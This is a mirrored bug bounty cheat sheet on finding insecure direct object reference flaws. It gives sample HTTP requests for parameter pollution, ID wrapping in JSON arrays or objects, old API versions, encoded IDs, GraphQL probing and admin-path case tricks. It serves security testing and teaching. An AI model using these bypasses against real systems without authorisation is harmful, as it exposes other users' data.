ch0ic3/AllAboutBugBounty
1
0
Fork 0
mirror of https://github.com/daffainfo/AllAboutBugBounty.git synced 2024-12-18 10:26:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
8c337501d1
AllAboutBugBounty/Insecure Direct Object References.md
MD15 8c337501d1 Grouping, adding recon and some tips
2021-02-09 09:15:31 +07:00

1.7 KiB
Raw Blame History

Insecure Direct Object Reference (IDOR)

Introduction

IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.

How to Find

  1. Add parameters onto the endpoints for example, if there was
GET /api/v1/getuser
[...]

Try this to bypass

GET /api/v1/getuser?id=1234
[...]
  1. HTTP Parameter pollution
POST /api/get_profile
[...]
user_id=hacker_id&user_id=victim_id
  1. Add .json to the endpoint
GET /v2/GetData/1234
[...]

Try this to bypass

GET /v2/GetData/1234.json
[...]
  1. Test on outdated API Versions
POST /v2/GetData
[...]
id=123

Try this to bypass

POST /v1/GetData
[...]
id=123
  1. Wrap the ID with an array.
POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

POST /api/get_profile
[...]
{"id":[111]}
  1. Wrap the ID with a JSON object
POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

POST /api/get_profile
[...]
{"user_id":{"user_id":111}}
  1. JSON Parameter Pollution
POST /api/get_profile
[...]
{"user_id":"hacker_id","user_id":"victim_id"}
  1. Try decode the ID, if the ID encoded using md5,base64,etc
GET /GetUser/dmljdGltQG1haWwuY29t
[...]

dmljdGltQG1haWwuY29t => victim@mail.com

  1. If the website using graphql, try to find IDOR using graphql!
GET /graphql
[...]

GET /graphql.php?query=
[...]
  1. MFLAC (Missing Function Level Access Control)
GET /admin/profile

Try this to bypass

GET /ADMIN/profile

Reference: